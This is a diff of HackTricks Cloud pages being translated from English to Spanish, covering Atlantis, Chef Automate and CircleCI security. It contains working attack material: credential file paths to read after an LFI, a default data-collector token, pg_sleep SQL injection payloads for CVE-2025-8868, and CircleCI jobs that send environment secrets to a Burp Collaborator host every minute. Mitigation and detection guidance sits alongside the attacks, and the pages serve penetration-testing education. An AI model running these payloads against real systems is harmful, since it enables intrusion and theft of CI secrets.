- Si estás especificando `--repo-allowlist`, entonces solo podrían falsificar solicitudes relacionadas con esos repos, por lo que el mayor daño que podrían hacer sería planificar/aplicar en tus propios repos.
- Para prevenir esto, permite las [direcciones IP de Bitbucket](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (ver direcciones IPv4 salientes).
### Post-Exploitation
### Post-Explotación
If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read:
Si lograste acceder al servidor o al menos obtuviste un LFI, hay algunas cosas interesantes que deberías intentar leer:
- `/home/atlantis/.git-credentials` Contains vcs access credentials
- `/atlantis-data/atlantis.db` Contains vcs access credentials with more info
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform stated file
- Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
- `/proc/1/environ` Env variables
- `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data)
- `/home/atlantis/.git-credentials` Contiene credenciales de acceso a vcs
- `/atlantis-data/atlantis.db` Contiene credenciales de acceso a vcs con más información
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Archivo de estado de Terraform
- Ejemplo: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
- `/proc/1/environ` Variables de entorno
- `/proc/[2-20]/cmdline` Línea de comandos de `atlantis server` (puede contener datos sensibles)
### Mitigations
### Mitigaciones
#### Don't Use On Public Repos <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>
#### No Usar en Repos Públicos <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>
Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings.
Debido a que cualquiera puede comentar en pull requests públicos, incluso con todas las mitigaciones de seguridad disponibles, sigue siendo peligroso ejecutar Atlantis en repos públicos sin la configuración adecuada de los ajustes de seguridad.
#### Don't Use `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
#### No Usar `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo.
Si estás ejecutando en un repos público (lo cual no se recomienda, ver arriba), no deberías establecer `--allow-fork-prs` (por defecto es falso) porque cualquiera puede abrir un pull request desde su fork a tu repositorio.
#### `--repo-allowlist` <a href="#repo-allowlist" id="repo-allowlist"></a>
Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example:
Atlantis requiere que especifiques una lista permitida de repositorios de los que aceptará webhooks a través de la bandera `--repo-allowlist`. Por ejemplo:
- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
- Your whole organization: `--repo-allowlist=github.com/runatlantis/*`
- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*`
- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret.
- Repositorios específicos: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
- Tu organización completa: `--repo-allowlist=github.com/runatlantis/*`
- Cada repositorio en tu instalación de GitHub Enterprise: `--repo-allowlist=github.yourcompany.com/*`
- Todos los repositorios: `--repo-allowlist=*`. Útil cuando estás en una red protegida pero peligroso sin también establecer un secreto de webhook.
This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details.
Esta bandera asegura que tu instalación de Atlantis no se esté utilizando con repositorios que no controlas. Consulta `atlantis server --help` para más detalles.
#### Protect Terraform Planning <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
#### Proteger la Planificación de Terraform <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials.
Si los atacantes que envían pull requests con código malicioso de Terraform están en tu modelo de amenaza, entonces debes ser consciente de que las aprobaciones de `terraform apply` no son suficientes. Es posible ejecutar código malicioso en un `terraform plan` utilizando la [`fuente de datos externa`](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) o especificando un proveedor malicioso. Este código podría luego exfiltrar tus credenciales.
To prevent this, you could:
Para prevenir esto, podrías:
1. Bake providers into the Atlantis image or host and deny egress in production.
2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry.
3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here.
1. Incluir proveedores en la imagen de Atlantis o alojar y negar la salida en producción.
2. Implementar el protocolo de registro de proveedores internamente y negar la salida pública, de esa manera controlas quién tiene acceso de escritura al registro.
3. Modificar el paso `plan` de tu [configuración de repositorio del lado del servidor](https://www.runatlantis.io/docs/server-side-repo-config.html) para validar contra el uso de proveedores o fuentes de datos no permitidos o PRs de usuarios no autorizados. También podrías agregar validación adicional en este punto, por ejemplo, requiriendo un "me gusta" en el PR antes de permitir que el `plan` continúe. Conftest podría ser útil aquí.
#### Webhook Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>
#### Secretos de Webhook <a href="#webhook-secrets" id="webhook-secrets"></a>
Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab).
Atlantis debe ejecutarse con secretos de Webhook establecidos a través de las variables de entorno `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Incluso con la bandera `--repo-allowlist` establecida, sin un secreto de webhook, los atacantes podrían hacer solicitudes a Atlantis haciéndose pasar por un repositorio que está en la lista permitida. Los secretos de webhook aseguran que las solicitudes de webhook provengan realmente de tu proveedor de VCS (GitHub o GitLab).
If you are using Azure DevOps, instead of webhook secrets add a basic username and password.
Si estás utilizando Azure DevOps, en lugar de secretos de webhook, agrega un nombre de usuario y una contraseña básicos.
#### Azure DevOps Basic Authentication <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
#### Autenticación Básica de Azure DevOps <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location.
Azure DevOps admite el envío de un encabezado de autenticación básica en todos los eventos de webhook. Esto requiere usar una URL HTTPS para la ubicación de tu webhook.
#### SSL/HTTPS <a href="#ssl-https" id="ssl-https"></a>
If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags.
Si estás utilizando secretos de webhook pero tu tráfico es a través de HTTP, entonces los secretos de webhook podrían ser robados. Habilita SSL/HTTPS utilizando las banderas `--ssl-cert-file` y `--ssl-key-file`.
#### Enable Authentication on Atlantis Web Server <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
#### Habilitar Autenticación en el Servidor Web de Atlantis <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags.
Se recomienda encarecidamente habilitar la autenticación en el servicio web. Habilita BasicAuth utilizando `--web-basic-auth=true` y configura un nombre de usuario y una contraseña utilizando las banderas `--web-username=yourUsername` y `--web-password=yourPassword`.
You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`.
También puedes pasar estos como variables de entorno `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` y `ATLANTIS_WEB_PASSWORD=yourPassword`.
### References
### Referencias
- [**https://www.runatlantis.io/docs**](https://www.runatlantis.io/docs)
- [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)
{{#include ../banners/hacktricks-training.md}}

View File

@@ -1,18 +1,18 @@
# Chef Automate Security
# Seguridad de Chef Automate
{{#include ../../banners/hacktricks-training.md}}
## What is Chef Automate
## ¿Qué es Chef Automate
Chef Automate is a platform for infrastructure automation, compliance, and application delivery. It exposes a web UI (often Angular) that talks to backend gRPC services via a gRPC-Gateway, providing REST-like endpoints under paths such as /api/v0/.
Chef Automate es una plataforma para automatización de infraestructura, cumplimiento y entrega de aplicaciones. Expone una UI web (a menudo Angular) que se comunica con servicios backend gRPC a través de un gRPC-Gateway, proporcionando endpoints tipo REST bajo rutas como /api/v0/.
- Common backend components: gRPC services, PostgreSQL (often visible via pq: error prefixes), data-collector ingest service
- Auth mechanisms: user/API tokens and a data collector token header x-data-collector-token
- Componentes backend comunes: gRPC services, PostgreSQL (a menudo visible mediante prefijos pq: error), data-collector ingest service
- Mecanismos de autenticación: tokens de usuario/API y un header de token del data collector: x-data-collector-token
## Enumeration & Attacks
## Enumeración y ataques
{{#ref}}
chef-automate-enumeration-and-attacks.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,79 +4,74 @@
## Overview
This page collects practical techniques to enumerate and attack Chef Automate instances, with emphasis on:
Esta página recopila técnicas prácticas para enumerar y atacar instancias de Chef Automate, con énfasis en:
- Discovering gRPC-Gateway-backed REST endpoints and inferring request schemas via validation/error responses
- Abusing the x-data-collector-token authentication header when defaults are present
- Time-based blind SQL injection in the Compliance API (CVE-2025-8868) affecting the filters[].type field in /api/v0/compliance/profiles/search
> Note: Backend responses that include header grpc-metadata-content-type: application/grpc typically indicate a gRPC-Gateway bridging REST calls to gRPC services.
> Nota: Las respuestas del backend que incluyen el header grpc-metadata-content-type: application/grpc típicamente indican un puente gRPC-Gateway que conecta llamadas REST con servicios gRPC.
## Recon: Architecture and Fingerprints
## Recon: Arquitectura y huellas
- Front-end: Often Angular. Static bundles can hint at REST paths (e.g., /api/v0/...)
- API transport: REST to gRPC via gRPC-Gateway
- Responses may include grpc-metadata-content-type: application/grpc
- Front-end: A menudo Angular. Los bundles estáticos pueden dar pistas sobre rutas REST (p. ej., /api/v0/...)
- API transport: REST a gRPC vía gRPC-Gateway
- Responses may include grpc-metadata-content-type: application/grpc
- Database/driver fingerprints:
- Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver
- Interesting Compliance endpoints (auth required):
- POST /api/v0/compliance/profiles/search
- POST /api/v0/compliance/scanner/jobs/search
- Cuerpos de error que empiezan con pq: sugieren fuertemente PostgreSQL con el driver Go pq
- Endpoints de Compliance interesantes (auth required):
- POST /api/v0/compliance/profiles/search
- POST /api/v0/compliance/scanner/jobs/search
## Auth: Data Collector Token (x-data-collector-token)
Chef Automate exposes a data collector that authenticates requests via a dedicated header:
Chef Automate expone un data collector que autentica peticiones mediante un header dedicado:
- Header: x-data-collector-token
- Risk: Some environments may retain a default token granting access to protected API routes. Known default observed in the wild:
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
- Riesgo: Algunos entornos pueden conservar un token por defecto que concede acceso a rutas API protegidas. Default conocido observado en el wild:
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
If present, this token can be used to call Compliance API endpoints otherwise gated by auth. Always attempt to rotate/disable defaults during hardening.
Si está presente, este token puede usarse para llamar endpoints de la Compliance API que de otro modo requieren auth. Siempre intentar rotar/desactivar defaults durante el hardening.
## API Schema Inference via Error-Driven Discovery
gRPC-Gateway-backed endpoints often leak useful validation errors that describe the expected request model.
Los endpoints respaldados por gRPC-Gateway a menudo leak errores de validación útiles que describen el modelo de request esperado.
For /api/v0/compliance/profiles/search, the backend expects a body with a filters array, where each element is an object with:
Para /api/v0/compliance/profiles/search, el backend espera un body con un array filters, donde cada elemento es un objeto con:
- type: string (filter field identifier)
- values: array of strings
- type: string (identificador del campo del filtro)
- values: array de strings
Example request shape:
```json
{
"filters": [
{ "type": "name", "values": ["test"] }
]
"filters": [
{ "type": "name", "values": ["test"] }
]
}
```
JSON malformado o tipos de campo incorrectos típicamente disparan 4xx/5xx con pistas, y las cabeceras indican el comportamiento del gRPC-Gateway. Úsalos para mapear campos y localizar injection surfaces.
Malformed JSON or wrong field types typically trigger 4xx/5xx with hints, and headers indicate the gRPC-Gateway behavior. Use these to map fields and localize injection surfaces.
## API de Compliance - SQL Injection (CVE-2025-8868)
## Compliance API SQL Injection (CVE-2025-8868)
- Affected endpoint: POST /api/v0/compliance/profiles/search
- Endpoint afectado: POST /api/v0/compliance/profiles/search
- Injection point: filters[].type
- Vulnerability class: time-based blind SQL injection in PostgreSQL
- Root cause: Lack of proper parameterization/whitelisting when interpolating the type field into a dynamic SQL fragment (likely used to construct identifiers/WHERE clauses). Crafted values in type are evaluated by PostgreSQL.
- Clase de vulnerabilidad: time-based blind SQL injection in PostgreSQL
- Causa raíz: Falta de proper parameterization/whitelisting al interpolar el campo type en un fragmento SQL dinámico (probablemente usado para construir identifiers/WHERE clauses). Los crafted values en type son evaluados por PostgreSQL.
Working time-based payload:
```json
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
```
Notas de la técnica:
- Cierra la cadena original con una comilla simple
- Concatena una subconsulta que llama a pg_sleep(N)
- Vuelve a entrar en el contexto de cadena mediante || para que el SQL final siga siendo sintácticamente válido independientemente de dónde se inserte type
Technique notes:
- Close the original string with a single quote
- Concatenate a subquery that calls pg_sleep(N)
- Re-enter string context via || so the final SQL remains syntactically valid regardless of where type is embedded
### Prueba mediante latencia diferencial
### Proof via differential latency
Send paired requests and compare response times to validate server-side execution:
- N = 1 second
Envía solicitudes emparejadas y compara los tiempos de respuesta para validar la ejecución del lado del servidor:
- N = 1 segundo
```
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
@@ -85,9 +80,7 @@ x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9
{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
```
- N = 5 seconds
- N = 5 segundos
```
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
@@ -96,50 +89,49 @@ x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
```
Observed behavior:
- Response times scale with pg_sleep(N)
- HTTP 500 responses may include pq: details during probing, confirming SQL execution paths
> Tip: Use a timing validator (e.g., multiple trials with statistical comparison) to reduce noise and false positives.
> Consejo: Use un validador de tiempos (p. ej., múltiples intentos con comparación estadística) para reducir ruido y falsos positivos.
### Impact
### Impacto
Authenticated users—or unauthenticated actors abusing a default x-data-collector-token—can execute arbitrary SQL within Chef Automates PostgreSQL context, risking confidentiality and integrity of compliance profiles, configuration, and telemetry.
Usuarios autenticados —o actores no autenticados que abusen de un x-data-collector-token por defecto— pueden ejecutar SQL arbitrario dentro del contexto PostgreSQL de Chef Automate, poniendo en riesgo la confidencialidad e integridad de los perfiles de compliance, la configuración y la telemetría.
### Affected versions / Fix
### Versiones afectadas / Solución
- CVE: CVE-2025-8868
- Upgrade guidance: Chef Automate 4.13.295 or later (Linux x86) per vendor advisories
- Guía de actualización: Chef Automate 4.13.295 o posterior (Linux x86) según los avisos del proveedor
## Detection and Forensics
## Detección y Forense
- API layer:
- Monitor 500s on /api/v0/compliance/profiles/search where filters[].type contains quotes ('), concatenation (||), or function references like pg_sleep
- Inspect response headers for grpc-metadata-content-type to identify gRPC-Gateway flows
- Database layer (PostgreSQL):
- Audit for pg_sleep calls and malformed identifier errors (often surfaced with pq: prefixes coming from the Go pq driver)
- Authentication:
- Log and alert on usage of x-data-collector-token, especially known default values, across API paths
- Capa API:
- Monitorizar respuestas 500 en /api/v0/compliance/profiles/search donde filters[].type contiene comillas ('), concatenación (||), o referencias a funciones como pg_sleep
- Inspeccionar cabeceras de respuesta en busca de grpc-metadata-content-type para identificar flujos gRPC-Gateway
- Capa de base de datos (PostgreSQL):
- Auditar llamadas a pg_sleep y errores de identificador malformado (a menudo aparecen con prefijos pq: provenientes del driver pq de Go)
- Autenticación:
- Registrar y alertar sobre el uso de x-data-collector-token, especialmente valores por defecto conocidos, en las rutas API
## Mitigations and Hardening
## Mitigaciones y Endurecimiento
- Immediate:
- Rotate/disable default data collector tokens
- Restrict ingress to data collector endpoints; enforce strong, unique tokens
- Code-level:
- Parameterize queries; never string-concatenate SQL fragments
- Strictly whitelist allowed type values on the server (enum)
- Avoid dynamic SQL assembly for identifiers/clauses; if dynamic behavior is required, use safe identifier quoting and explicit whitelists
- Inmediatas:
- Rotar/deshabilitar tokens de data collector por defecto
- Restringir el ingreso a los endpoints de data collector; aplicar tokens fuertes y únicos
- A nivel de código:
- Parametrizar consultas; nunca concatenar fragmentos SQL como cadenas
- Restringir estrictamente con lista blanca los valores permitidos de type en el servidor (enum)
- Evitar ensamblar SQL dinámico para identificadores/cláusulas; si se requiere comportamiento dinámico, usar comillas seguras para identificadores y listas blancas explícitas
## Practical Testing Checklist
## Lista de verificación práctica para pruebas
- Check if x-data-collector-token is accepted and whether the known default works
- Map the Compliance API request schema by inducing validation errors and reading error messages/headers
- Test for SQLi in less obvious identifier-like” fields (e.g., filters[].type), not just values arrays or top-level text fields
- Use time-based techniques with concatenation to keep SQL syntactically valid across contexts
- Comprobar si x-data-collector-token es aceptado y si el valor por defecto conocido funciona
- Mapear el esquema de solicitud de la Compliance API induciendo errores de validación y leyendo mensajes de error/cabeceras
- Probar SQLi en campos menos obvios "tipo-identificador" (p. ej., filters[].type), no solo en arrays de valores o campos de texto de primer nivel
- Usar técnicas basadas en tiempo con concatenación para mantener SQL sintácticamente válido en distintos contextos
## References
## Referencias
- [Cooking an SQL Injection Vulnerability in Chef Automate (XBOW blog)](https://xbow.com/blog/cooking-an-sql-injection-vulnerability-in-chef-automate)
- [Timing trace (XBOW)](https://xbow-website.pages.dev/traces/chef-automate-sql-injection/)
@@ -147,4 +139,4 @@ Authenticated users—or unauthenticated actors abusing a default x-data-collect
- [gRPC-Gateway](https://github.com/grpc-ecosystem/grpc-gateway)
- [pq PostgreSQL driver for Go](https://github.com/lib/pq)
{{#include ../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,258 +1,235 @@
# CircleCI Security
# Seguridad de CircleCI
{{#include ../banners/hacktricks-training.md}}
### Basic Information
### Información Básica
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you can **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example.
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) es una plataforma de Integración Continua donde puedes **definir plantillas** indicando lo que quieres que haga con algún código y cuándo hacerlo. De esta manera, puedes **automatizar pruebas** o **despliegues** directamente **desde la rama maestra de tu repositorio**, por ejemplo.
### Permissions
### Permisos
**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\
In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...).
**CircleCI** **hereda los permisos** de github y bitbucket relacionados con la **cuenta** que inicia sesión.\
En mis pruebas verifiqué que mientras tengas **permisos de escritura sobre el repositorio en github**, podrás **gestionar la configuración del proyecto en CircleCI** (configurar nuevas claves ssh, obtener claves api del proyecto, crear nuevas ramas con nuevas configuraciones de CircleCI...).
However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**.
Sin embargo, necesitas ser un **administrador del repositorio** para **convertir el repositorio en un proyecto de CircleCI**.
### Env Variables & Secrets
### Variables de Entorno y Secretos
According to [**the docs**](https://circleci.com/docs/2.0/env-vars/) there are different ways to **load values in environment variables** inside a workflow.
Según [**la documentación**](https://circleci.com/docs/2.0/env-vars/) hay diferentes maneras de **cargar valores en variables de entorno** dentro de un flujo de trabajo.
#### Built-in env variables
#### Variables de entorno integradas
Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`.
Cada contenedor ejecutado por CircleCI siempre tendrá [**variables de entorno específicas definidas en la documentación**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) como `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` o `CIRCLE_USERNAME`.
#### Clear text
You can declare them in clear text inside a **command**:
#### Texto claro
Puedes declararlas en texto claro dentro de un **comando**:
```yaml
- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET
```
You can declare them in clear text inside the **run environment**:
Puedes declararlos en texto claro dentro del **entorno de ejecución**:
```yaml
- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret
```
You can declare them in clear text inside the **build-job environment**:
Puedes declararlos en texto claro dentro del **entorno del trabajo de construcción**:
```yaml
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
```
You can declare them in clear text inside the **environment of a container**:
Puedes declararlos en texto claro dentro del **entorno de un contenedor**:
```yaml
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
```
#### Secretos del Proyecto
#### Project Secrets
These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\
You can see them **declared in** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
Estos son **secretos** que solo van a ser **accesibles** por el **proyecto** (por **cualquier rama**).\
Puedes verlos **declarados en** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
![](<../images/image (129).png>)
> [!CAUTION]
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one.
> La funcionalidad de "**Importar Variables**" permite **importar variables de otros proyectos** a este.
#### Context Secrets
#### Secretos de Contexto
These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here:
Estos son secretos que son **a nivel de organización**. Por **defecto, cualquier repo** podrá **acceder a cualquier secreto** almacenado aquí:
![](<../images/image (123).png>)
> [!TIP]
> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\
> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people.
> Sin embargo, ten en cuenta que se puede **seleccionar un grupo diferente** (en lugar de Todos los miembros) para **dar acceso a los secretos solo a personas específicas**.\
> Esta es actualmente una de las mejores maneras de **aumentar la seguridad de los secretos**, para no permitir que todos accedan a ellos, sino solo algunas personas.
### Attacks
### Ataques
#### Search Clear Text Secrets
#### Buscar Secretos en Texto Claro
If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there.
Si tienes **acceso al VCS** (como github), revisa el archivo `.circleci/config.yml` de **cada repo en cada rama** y **busca** posibles **secretos en texto claro** almacenados allí.
#### Secret Env Vars & Context enumeration
#### Enumeración de Variables de Entorno Secretas y Contexto
Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
Revisando el código puedes encontrar **todos los nombres de los secretos** que están siendo **utilizados** en cada archivo `.circleci/config.yml`. También puedes obtener los **nombres de contexto** de esos archivos o revisarlos en la consola web: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
#### Exfiltrate Project secrets
#### Exfiltrar Secretos del Proyecto
> [!WARNING]
> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_).
> Para **exfiltrar TODOS** los **SECRETOS** del proyecto y del contexto, **solo** necesitas tener acceso de **ESCRITURA** a **solo 1 repo** en toda la organización de github (_y tu cuenta debe tener acceso a los contextos, pero por defecto todos pueden acceder a cada contexto_).
> [!CAUTION]
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**.
All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**:
> La funcionalidad de "**Importar Variables**" permite **importar variables de otros proyectos** a este. Por lo tanto, un atacante podría **importar todas las variables del proyecto de todos los repos** y luego **exfiltrar todas juntas**.
Todos los secretos del proyecto siempre se establecen en el entorno de los trabajos, por lo que solo llamar a env y ofuscarlo en base64 exfiltrará los secretos en la **consola de registro web de los flujos de trabajo**:
```yaml
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
workflows:
exfil-env-workflow:
jobs:
- exfil-env
exfil-env-workflow:
jobs:
- exfil-env
```
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
Si **no tienes acceso a la consola web** pero tienes **acceso al repositorio** y sabes que se utiliza CircleCI, puedes **crear un flujo de trabajo** que se **dispare cada minuto** y que **exfiltre los secretos a una dirección externa**:
```yaml
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env
```
#### Exfiltrar secretos de contexto
#### Exfiltrate Context Secrets
You need to **specify the context name** (this will also exfiltrate the project secrets):
Necesitas **especificar el nombre del contexto** (esto también exfiltrará los secretos del proyecto):
```yaml
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context
```
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
Si **no tienes acceso a la consola web** pero tienes **acceso al repositorio** y sabes que se utiliza CircleCI, puedes simplemente **modificar un flujo de trabajo** que se **activa cada minuto** y que **exfiltra los secretos a una dirección externa**:
```yaml
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context
```
> [!WARNING]
> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**.
> Simplemente crear un nuevo `.circleci/config.yml` en un repositorio **no es suficiente para activar una construcción de circleci**. Necesitas **habilitarlo como un proyecto en la consola de circleci**.
#### Escape to Cloud
**CircleCI** gives you the option to run **your builds in their machines or in your own**.\
By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**.
Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions):
**CircleCI** te da la opción de ejecutar **tus construcciones en sus máquinas o en las tuyas**.\
